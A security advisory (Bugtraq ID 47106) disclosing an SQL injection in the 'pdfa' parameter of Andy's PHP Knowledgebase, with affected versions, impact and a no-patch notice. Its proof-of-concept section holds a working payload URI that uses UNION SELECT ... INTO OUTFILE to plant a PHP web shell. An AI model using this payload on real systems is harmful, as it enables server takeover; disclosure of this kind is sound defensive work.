Andy's PHP Knowledgebase 'pdfa' Parameter SQL Injection Vulnerability
BID:47106
Info
Andy's PHP Knowledgebase 'pdfa' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 47106 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 31 2011 12:00AM |
| Updated: | Mar 31 2011 12:00AM |
| Credit: | John Leitch from AutoSec Tools |
| Vulnerable: |
aphpkb aphpkb 0.92.9 aphpkb aphpkb 0.95.4 aphpkb aphpkb 0.95.3 aphpkb aphpkb 0.95.2 aphpkb aphpkb 0.57 |
| Not Vulnerable: | |
Discussion
Andy's PHP Knowledgebase 'pdfa' Parameter SQL Injection Vulnerability
Andy's PHP Knowledgebase is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Andy's PHP Knowledgebase 0.95.4 is vulnerable; other versions may also be affected.
Andy's PHP Knowledgebase is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Andy's PHP Knowledgebase 0.95.4 is vulnerable; other versions may also be affected.
Exploit / POC
Andy's PHP Knowledgebase 'pdfa' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/aphpkb/plugins/pdfClasses/pdfgen.php?pdfa='and%201=0%20UNION%20SELECT%20'<?php%20system($_GET["CMD"]);%20?>',''%20FROM%20dual%20INTO%20OUTFILE%20'../../htdocs/shell.php';%23
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/aphpkb/plugins/pdfClasses/pdfgen.php?pdfa='and%201=0%20UNION%20SELECT%20'<?php%20system($_GET["CMD"]);%20?>',''%20FROM%20dual%20INTO%20OUTFILE%20'../../htdocs/shell.php';%23
Solution / Fix
Andy's PHP Knowledgebase 'pdfa' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Andy's PHP Knowledgebase 'pdfa' Parameter SQL Injection Vulnerability
References:
References:
- Andy's PHP Knowledgebase Homepage (aphpkb)